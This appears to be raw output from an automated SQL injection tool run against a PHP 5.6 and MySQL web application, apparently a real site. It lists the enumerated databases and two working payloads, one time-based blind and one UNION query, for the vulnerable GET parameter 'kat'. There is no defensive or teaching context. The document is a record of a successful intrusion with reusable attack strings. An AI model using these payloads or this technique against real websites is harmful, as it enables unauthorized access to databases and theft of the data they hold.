available databases [2]:
[*] cnkrbel_bldcim
[*] information_schema

---
web application technology: Apache 2, PHP 5.6.36
back-end DBMS: MySQL >= 5.0.12
---
Parameter: kat (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: kat=1' AND (SELECT 8253 FROM (SELECT(SLEEP(5)))UpGc) AND 'ObtX'='ObtX

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: kat=1' UNION ALL SELECT NULL,CONCAT(0x71787a6a71,0x4e424f65717356567545454e43796c4669587a6c6273714d7556664a666b6a655274766562745870,0x716a786b71),NULL-- yOhZ